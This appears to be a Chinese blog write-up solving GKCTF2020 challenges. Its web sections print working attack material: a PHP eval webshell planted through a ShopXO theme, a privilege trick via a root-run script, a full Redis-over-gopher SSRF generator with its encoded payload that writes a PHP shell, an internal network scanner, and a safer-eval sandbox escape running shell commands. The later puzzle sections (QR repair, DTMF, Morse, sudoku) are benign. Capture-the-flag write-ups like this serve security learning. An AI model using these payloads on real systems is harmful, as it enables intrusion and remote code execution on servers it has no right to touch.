GKCTF2020

2020-06-01 59次浏览 0条评论  前往评论

前言


抽空复现一下

老八小超市


打开之后是个shopxo的商城,用默认后台账号密码登录,成功进入后台。

下载免费的主题,把一句话木马放进去。

安装主题,即可getshell

参考:传送门

然后在假flag告知下得知真flag在/root目录下,但是因为当前是www-data用户是没有权限访问/root目录的。

然后在根目录下发现auto.sh

输入ps -ef发现auto.sh是root权限执行的。

然后在/var/mail/makeflaghint.py修改一下代码,加入两行内容读取/root/flag到/flag.hint

然后在flag.hint里面成功读取flag。

CheckIN


源码

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName(); 

phpinfo();

base64加密为 cGhwaW5mbygpOw==

回显成功,利用一句话连接

eval($_POST[cmd]);

base64加密得ZXZhbCgkX1BPU1RbY21kXSk7

在根目录看到一个flag,但是没有权限查看,还有一个readflag文件。

但是发现蚁剑终端并不能用,回到phpinfo()发现很多方法被禁用。

过滤了很多function,想到绕过disable_functions,上传一个文件使其执行任意命令,exp地址:传送门

在这里稍微改一下。

然后在页面就可以得到flag。

cve版签到


通过%00截断可以让get_headers()请求到错误的主机,于是请求到本地。

再根据提示把后缀改为123

即可得到flag。

EZ三剑客-EzWeb


访问?secret得到本机ip

写个脚本探测内网

# -*- coding: utf-8 -*-
import requests

ip = '173.17.51.{}'
url = 'http://ac0d31a7-5126-4f26-a7ec-b38aceea896a.node3.buuoj.cn'
temp = "{0}/index.php?url={1}&&submit=提交"

for i in range(1, 255):
    u = temp.format(url, ip.format(i))
    resp = requests.get(u)
    if len(resp.text) != 421:
        print(i)

跑出结果4 5 6 7 10 11

一个一个试,11的时候给出了提示。

然后用burp爆破端口

payloads选numbers爆破1到65535端口,线程选1。

爆破出结果6374。

因为输入url这里只限制了file://,没有ban掉gopher://,很容易想到是Redis SSRF getshell。

直接用exp:

import urllib
protocol="gopher://"
ip="173.17.51.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

payload为:

gopher://173.17.51.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

直接打进去。

在根目录下生成个文件shell.php,访问即可得到flag。

EZ三剑客-EzNode


源码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度我就直接这样写了其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

分析:

  • setTimeout

整数溢出,Infinity或者 大于 2147483647

然后get传参即可。

  • safeeval

RCE地址:传送门

payload(post提交)

e=setInterval.constructor('return process')().mainModule.require('child_process').execSync('cat /flag').toString();

Pokémon


下载得到一个gba文件,用VisualBoyAdvance打开,玩游戏即可得到flag。

code obfuscation


得到一张残缺的二维码图片

然后在这个网站上面修补:传送门

或者使用ps修复也行

扫二维码得gkctf,再base58解密得到压缩包密码CfjxaPF。

Harley Quinn


得到一段音频,最后面有拨号音,剪切之后丢到dtmf里面。

解得#222833344477773338866# 根据hint九键输出ctfisfun。

下载hint所说的软件, FreeFileCamouflage。

输入密钥和图片地址得到flag。

Sail a boat down the river


下载得一个flag.mp4有一帧是二维码,然后扫描得到一个网盘链接,但是没有提取码,根据视频里的摄像头闪光长短转换成摩斯密码。解码得yw8g

得到

0 8 1 7 4 0 0 0 0
3 0 2 0 6 8 0 0 0
4 0 6 5 0 0 8 2 0
0 3 0 0 0 0 0 5 6
7 0 4 3 0 9 2 0 1
1 2 0 0 0 0 0 4 0
0 5 9 0 0 4 1 0 8
0 0 0 1 8 0 9 0 2
0 0 0 0 9 7 4 6 0

密文:
efb851bdc71d72b9ff668bddd30fd6bd
密钥:
第一列九宫格从左到右从上到下

在这个网站可以自动求解数独:传送门

得到密钥52693795149137

然后求得压缩包密码GG0kc.tf,解压得到逆光 vocal.ovex文件。使用Overture 5打谱软件打开,在歌词里看到flag。



登录后回复

共有0条评论